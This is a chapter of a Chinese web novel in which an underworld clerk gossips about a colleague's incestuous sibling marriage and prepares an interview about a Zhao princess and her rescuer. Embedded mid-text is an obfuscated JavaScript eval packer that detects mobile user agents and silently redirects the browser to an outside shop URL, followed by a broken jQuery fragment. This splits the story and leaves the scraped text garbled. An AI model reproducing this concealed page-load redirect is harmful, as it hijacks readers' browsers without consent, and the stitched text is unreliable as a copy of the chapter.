14.你厉害

作品:《我在地府磕CP

    大家好,我叫小吏13,


    我的同事是个骨科变态。


    呃,我要说的不是这个。我是说,我是小吏13,现在在地府搞新媒体采访。


    录制一些CP视频,供大领导磕。


    我的同事是个骨科变态。


    ……


    其实我并不在意这个事。


    我同事他都是鬼了,他搞骨科就搞吧,反正他不是也挨了一梭子子弹嘛。


    可我的同事,他是个骨科变态。


    我叹了口气,


    这是我第一百零八次叹气。


    很多东西一通百通,比如说,为什么我当时一时嘴快称呼他哥,他反应那么大。


    桌面上的板砖震动了两下。


    大领导关怀我:“还在想31的事?”


    我拿起手机,想给她回没有,最后删了没有俩字,吐槽了一个小作文给她。


    其实我真的不在意这个事。


    我认为我的不适,来源于他的用词。


    他如果说,妈妈找到了我妹,是我未婚妻。


    我反应不会这么大。


    但他说的是


    ——在我的床上。


    这句话给我的冲击,有些大。


    我的大脑不自觉地想象出了画面,那画面冲击力太强,我一脑补就仿佛受到了精神污染。


    别说他妈,是我我也会给枪上了膛转身爆他头。


    后来的事我没再问31,他仅凭一句话就给我造成了严重的心理创伤,我无法再问。


    我后续的心理治疗都是靠阴司主完成的。


    阴司主告诉我,虽然他用词是那样的,但并不是我想的,把妹妹当情人养。


    人家是真情实意地瞒着妹妹订了婚,领了证。


    合法老婆。


    笑死,太地狱笑话了。


    这人,矛盾的一点就在于,你说他道德低到地狱了吧,他又很纯爱。


    那种家庭,那种环境,养出来的集大成继承人,他竟还能坚定的1V1,走的是晋江风言情理想化单一配偶制霸总路线,感情十年未衰。


    他被爆头,是因为被妈妈发现,他从始至终都是知情的,妹妹是被瞒着的,但他是明知故犯。


    这妈也是因为这个才气疯了。


    一边跟家里人装模作样说还在找,一边设计勾引自己妹妹,让她爱上自己,再也无法离开自己。


    所以我现在混乱纠结的点就在于,我无法把他划入一个清晰固定的道德篮子里。


    这感觉很撕裂。


    一方面我觉得他道德低到不能再低。


    另一方面我又觉得他其实是道德洁癖,比一些无血缘却朝三暮四始乱终弃活不明白的白痴们要强上许多。


    我问阴司主,那他死后,他妹妹怎么样了。


    阴司主沉痛告知,疯了。


    我又问,他既然知道自己死了,妹妹知道真相后会疯,怎么也不做两手准备。


    阴司主说,他没想到母亲反应会这么剧烈。


    31设想中的母亲,因为是权力的依附者,所以即便暴怒,也应该不会动他,毕竟她后半辈子的荣华富贵舒心生活还要靠儿子。另外,因为母亲与父亲也是表兄妹,他觉得,只要自己缓缓将此事说了,母亲不会太难接受。


    没想到,失算了。


    有的人暴怒时,就是会直接爆人头。尤其出身军火世家,受过射击教育的大小姐,更是如此。


    此外,他母亲是个正常人。


    “母女俩之后的生活岂不是很艰辛。”我这般感慨。


    “小姑娘可怜一些。”阴司主回我。


    我想了想,点头,与阴司主八卦道:“确实,任谁知道了自己的丈夫是亲哥,都会疯。”。


    阴司主的回复却让我心头一震。


    她说:“小姑娘疯并不是因为丈夫是哥哥,而是因为同时失去了丈夫和哥哥,她接受不了没有哥哥在的日子。”


    我想打个问号。


    实际上我的问号已经冒在头顶写在脸上了。


    “她开枪自杀也是因为,没有哥哥的世界,已经没什么意思了。”阴司主给了我最后一击。


    我的脑袋也仿佛被枪轰过了,嗷嗷震。


    “嘶——”我倒抽一口冷气,评价道,“我怎么还磕到了?!”


    我竟然完全理解妹妹这个扭曲心理。


    我的道德已经被殴打到再起不能了。


    我一边骂着变态,一边磕的感动自己,一边骂自己也是个变态。


    “他妹,你们阴司没收了做公务员吗?”我问。


    然后我又好奇询问阴司主:“对啊,你们阴司招公务员的标准是什么?”


    阴司主回:“眼缘,命缘。”


    她就这样跳过了我的上一个问题。


    当然我有怀疑过自己。


    但我还有上辈子的记忆,我知道自己不是31故事中的任何一个角色。


    我记忆里可没有哥哥。


    我只是个悠闲磕CP的单身人士,正常人。


    不搞禁断恋。


    我可没有轰轰烈烈跟谁谈过恋爱。


    至少我记忆里,是没有的。


    不然我哪有时间看那么多电视上那么多的网知道那么多的梗?


    不过,我不得不承认,兄妹骨科的冲击力是最大的。


    我准备着第三期的材料,


    却觉得第三期的CP没那么的扭曲拧巴了。


    第三期的CP,生活在两千年前的赵。


    比北周还要早千年。


    赵国有个公主,秦姝。


    她有个算得上青梅竹马的玩伴,公子姬淮。


    两个人两小无猜,关系近的几乎不避嫌,因为太亲近了,大家都默认,将来必然是一对儿的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002450|191970||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结果,秦姝跟别人一见钟情了。一见钟情的那位姓孙,留下过著名诗歌,官至左相,不好意思我记不清,还是右相来着?总之在历史上也留了名,很牛的才子。


    秦姝和姓孙的大人喜结连理,那个时候好像还没驸马的称呼?我不知道,反正没人叫这位孙大人驸马,历史上还是称他为什么孙上卿。


    公主跟别人喜结连理后,公子姬淮伤心离开都城,隐居去了。按理说后面就没公子姬淮什么事了,但命运开了个玩笑。


    赵国动荡,秦姝在逃离国都途中坠崖失明又失忆,恰巧呢,就被姬淮救了。


    阴差阳错的,秦姝爱上了救命恩人,在崖下山谷中与姬淮幽居了三年,直到孙上卿找来,公主恢复记忆。


    公主选择跟着孙上卿回去。


    姬淮悲痛自尽。


    触控笔敲着屏幕。


    我苦苦思索一番后,决定这次,先请姬淮来。


    至于孙上卿,我不磕他跟公主的CP。


    所以我并不打算请。


    我磕秦姝和姬淮这对时,经常目睹论坛大混战。


    正宫CP粉们会骂我们,秦姝对姬淮有爱吗?笑死,趁秦姝失忆,以照顾病人为由胁迫公主与他苟合,这也算爱?真爱的话,秦姝回复记忆后,怎么犹豫都不带犹豫的就抛下姬淮跟着孙上卿回家?


    这跟被拐卖到山里有什么区别?


    哇,你们假的也磕?这么饿?


    嗯,怎么说呢。


    我请这对的动力,就是想弄明白,秦姝到底有没有爱过姬淮。


    我只想知道,“爱过”两个字,会不会从秦姝嘴巴里说出。


    31阴森森地来了。


    31站在我背后看了眼我的屏幕后,就去摆弄摄像机,做拍摄前准备了。


    我把触控笔放在嘴唇上,扭头看他。


    欲言又止。


    31回应了我的目光。


    他挑高了一边的眉,但因为刘海儿遮着,我看不清,只能通过面部表情的改动推测他挑眉了。


    我说:“没事,我不会因为你狗血的感情经历,就对你有偏见的。第一眼见你我就知道,你是个变态。现在只是坐实了而已。”


    他沉默着,垂眸看向镜头。


    我又说:“唯一的改变,是我不会再对你好奇了。”


    31忽然笑了一声,那声笑,怎么讲呢。


    就很言情魔尊那种冷笑嗤笑感。


    他说:“谁告诉你,我只活了一世?”


    触控笔掉下来,滚落到平板前,啪叽吸附在了平板侧沿。


    怔愣过后,我缓缓抬起双手,伸出大拇指,给他比了个双赞。


    又倒过来,拇指朝下,骂他:“你厉害。”


    他一句话,又勾起了我的好奇。


    而且比之前更加狂烈。


    行,您是会玩的。


    我甘拜下风。